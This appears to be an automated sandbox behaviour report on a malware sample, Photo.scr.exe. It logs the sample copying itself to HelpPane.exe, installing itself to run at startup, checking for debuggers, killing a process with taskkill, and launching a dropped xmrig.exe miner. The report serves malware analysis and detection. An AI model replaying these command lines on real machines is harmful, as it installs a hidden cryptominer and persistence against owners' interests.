Source: C:\Users\user\HelpPane.exe TID: 6544	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\HelpPane.exe TID: 6004	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 17636	Thread sleep time: -180000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\HelpPane.exe	Last function: Thread delayed
Source: C:\Users\user\HelpPane.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: PyList_New,OpenSCManagerA,EnumServicesStatusExW,EnumServicesStatusExW,GetLastError,6C423B4E,EnumServicesStatusExW,PyUnicodeUCS2_FromWideChar,PyUnicodeUCS2_FromWideChar,PyUnicodeUCS2_FromWideChar,Py_BuildValue,PyList_Append,CloseServiceHandle,6C423B4E,CloseServiceHandle,6C423B4E,

1_2_02767320

Source: C:\Users\user\Desktop\Photo.scr.exe

API coverage: 2.6 %

Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI63722\msvcm90.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60842\msvcm90.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60842\_win32sysloader.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69002\msvcm90.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60842\netifaces.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69002\netifaces.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI63722\msvcp90.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI63722\win32evtlog.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI63722\select.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI60722\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69002\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI60722\bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69002\bz2.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60842\msvcp90.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60842\win32evtlog.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60842\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69002\back.jpg	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI63722\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI60722\_win32sysloader.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60842\bz2.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60842\back.jpg	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI60722\netifaces.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69002\_win32sysloader.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69002\msvcp90.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI60722\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69002\psutil._psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60842\perfmon.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI63722\perfmon.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI60722\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI60722\win32evtlog.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI63722\psutil._psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI63722\netifaces.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI60722\back.jpg	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI60722\psutil._psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI60722\perfmon.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60842\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI63722\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI63722\_win32sysloader.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69002\perfmon.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69002\select.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI63722\back.jpg	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI60722\msvcp90.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI63722\bz2.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60842\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69002\win32evtlog.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Windows\Temp\_MEI60722\msvcm90.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69002\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI60842\psutil._psutil_windows.pyd	Jump to dropped file

Source: C:\Users\user\HelpPane.exe	Thread delayed: delay time: 60000			Jump to behavior
Source: C:\Users\user\HelpPane.exe	Thread delayed: delay time: 60000			Jump to behavior

Source: C:\Users\user\Desktop\Photo.scr.exe

1_2_027641B0

Source: HelpPane.exe, 0000000C.00000003.403203589.0000000001641000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: zJVSk/BwJVmcIGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5dd
Source: Photo.scr.exe, 00000001.00000002.428094045.0000000000C96000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\HelpPane.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 1_2_02767FF0 GetSystemInfo,

1_2_02767FF0

Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 0_2_001DE3C3 FindFirstFileExW,GetLastError,FindNextFileW,GetLastError,		0_2_001DE3C3
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 0_2_001E7238 FindFirstFileExW,		0_2_001E7238

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\Desktop\Photo.scr.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_1-10350

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 0_2_001D46C0 MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_001D46C0

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 0_2_001E015A mov eax, dword ptr fs:[00000030h]

0_2_001E015A

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 0_2_001D802B IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_001D802B

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 0_2_001E8661 GetProcessHeap,

0_2_001E8661

Source: C:\Users\user\Desktop\Photo.scr.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 0_2_001D81BD SetUnhandledExceptionFilter,	0_2_001D81BD
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 0_2_001D802B IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_001D802B
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 0_2_001D7A8A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_001D7A8A
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 0_2_001E14C7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_001E14C7
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_02768B0E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_02768B0E
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_02782DFE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_02782DFE
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_10003C1E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_10003C1E
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_1E7AC310 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_1E7AC310

Source: C:\Users\user\Desktop\Photo.scr.exe	Process created: C:\Users\user\Desktop\Photo.scr.exe C:\Users\user\Desktop\Photo.scr.exe	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c copy /y C:\Users\user\Desktop\Photo.scr.exe C:\Users\user\HelpPane.exe	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\HelpPane.exe --startup auto install	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\user\HelpPane.exe start	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\HelpPane.exe C:\Users\user\HelpPane.exe --startup auto install	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process created: C:\Users\user\HelpPane.exe C:\Users\user\HelpPane.exe --startup auto install	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\HelpPane.exe C:\Users\user\HelpPane.exe start	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process created: C:\Users\user\HelpPane.exe C:\Users\user\HelpPane.exe start	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process created: C:\Users\user\HelpPane.exe C:\Users\user\HelpPane.exe	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /pid 1992 /f	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c copy /y C:\Windows\TEMP\_MEI60~1\\xmrig.exe C:\Windows\TEMP\xmrig.exe	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c copy /y C:\Windows\TEMP\_MEI60~1\\config.json C:\Windows\TEMP\config.json	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process created: C:\Windows\Temp\xmrig.exe C:\Windows\TEMP\xmrig.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /pid 1992 /f	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /pid 1992 /f

Jump to behavior

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 1_2_1E7A7760 ?PyWinMethod_NewSID@@YAPAU_object@@PAU1@0@Z,PyArg_ParseTuple,PyArg_ParseTuple,PyErr_Clear,PyErr_Clear,PyArg_ParseTuple,PyErr_Clear,PyArg_ParseTuple,PySequence_Check,PyExc_TypeError,PyErr_SetString,PySequence_Size,PySequence_Tuple,PyArg_ParseTuple,PyExc_TypeError,PyErr_SetString,AllocateAndInitializeSid,?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z,??0PySID@@QAE@PAX@Z,??0PySID@@QAE@HPAX@Z,

1_2_1E7A7760

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 1_2_1E7A6310 ?SetSecurityDescriptorDacl@PySECURITY_DESCRIPTOR@@SAPAU_object@@PAU2@0@Z,PyArg_ParseTuple,?PyWinObject_AsACL@@YAHPAU_object@@PAPAU_ACL@@H@Z,?_MakeAbsoluteSD@@YAHPAXPAPAX@Z,SetSecurityDescriptorDacl,?PyWin_SetAPIError@@YAPAU_object@@PADJ@Z,?SetSD@PySECURITY_DESCRIPTOR@@QAEHPAX@Z,_Py_NoneStruct,6C423B4E,6C423B4E,6C423B4E,

1_2_1E7A6310

Source: Photo.scr.exe, 00000001.00000003.417576228.0000000003029000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000001.00000003.417104778.0000000003012000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000001.00000002.431474237.0000000003029000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DOF_PROGMANt
Source: HelpPane.exe, 00000007.00000003.380640616.0000000003816000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DOF_PROGMAN`
Source: Photo.scr.exe, 00000001.00000002.431353538.0000000002FAC000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000001.00000003.417214864.0000000002FAC000.00000004.00000020.00020000.00000000.sdmp, HelpPane.exe, 00000007.00000003.380640616.0000000003816000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DOF_PROGMAN

Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI69002\Crypto.Cipher._AES.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI69002\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI69002\_socket.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI69002\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI69002\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI69002\psutil._psutil_windows.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI69002\netifaces.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI69002\win32service.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI69002\win32api.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI69002\win32event.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\Desktop\Photo.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI69002\servicemanager.pyd VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI63722\Crypto.Cipher._AES.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI63722\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI63722\_socket.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI63722\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI63722\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Users\user\HelpPane.exe VolumeInformation	Jump to behavior
